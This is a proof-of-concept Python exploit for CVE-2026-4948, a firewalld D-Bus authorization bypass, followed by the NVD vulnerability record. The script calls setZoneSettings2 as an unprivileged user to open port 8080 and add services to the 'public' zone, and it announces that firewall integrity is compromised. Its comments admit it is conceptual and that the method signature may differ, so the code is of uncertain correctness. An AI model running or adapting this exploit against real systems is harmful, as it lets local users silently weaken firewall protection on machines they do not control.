CVE-2026-4948

import dbus import sys # Exploit Title: firewalld D-Bus Authorization Bypass (CVE-2026-4948) # Description: PoC to demonstrate unauthorized modification of runtime firewall settings. # Usage: python3 poc.py def exploit_poc(): try: # Connect to the System Bus bus = dbus.SystemBus() # Get the firewalld service object fw_object = bus.get_object('org.fedoraproject.FirewallD1', '/org/fedoraproject.FirewallD1') # Access the configuration interface # Note: Interface name might vary based on version, typically org.fedoraproject.FirewallD1.config fw_interface = dbus.Interface(fw_object, 'org.fedoraproject.FirewallD1.config') print("[+] Connected to firewalld D-Bus interface.") # Attempt to modify a zone setting without authorization # Targeting the vulnerable setZoneSettings2 or setPolicySettings # Example parameters for modifying the 'public' zone zone_name = 'public' malicious_settings = { 'description': 'Modified by low-priv user', 'services': ['ssh', 'http'], # Adding unauthorized services 'ports': [('8080', 'tcp')] # Opening ports } print(f"[*] Attempting to modify runtime settings for zone: {zone_name}") # Call the vulnerable method (Signature may vary, this is a conceptual representation) fw_interface.setZoneSettings2(zone_name, malicious_settings) print("[!] Successfully modified firewall runtime configuration!") print("[!] Integrity compromised: Firewall rules changed.") except dbus.exceptions.DBusException as e: print(f"[-] D-Bus Error: {e}") except Exception as e: print(f"[-] General Error: {e}") if __name__ == "__main__": exploit_poc()

{"cve": {"id": "CVE-2026-4948", "sourceIdentifier": "[email protected]", "published": "2026-03-27T06:16:39.543", "lastModified": "2026-05-15T19:17:04.917", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in firewalld. A local unprivileged user can exploit this vulnerability by mis-authorizing two runtime D-Bus (Desktop Bus) setters, setZoneSettings2 and setPolicySettings. This mis-authorization allows the user to modify the runtime firewall state without proper authentication, leading to unauthorized changes in network security configurations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-279"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:firewalld:firewalld:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.0", "matchCriteriaId": "285B88A1-9932-482A-BE91-D0E6663A3B8B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-4948", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452086", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00029.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}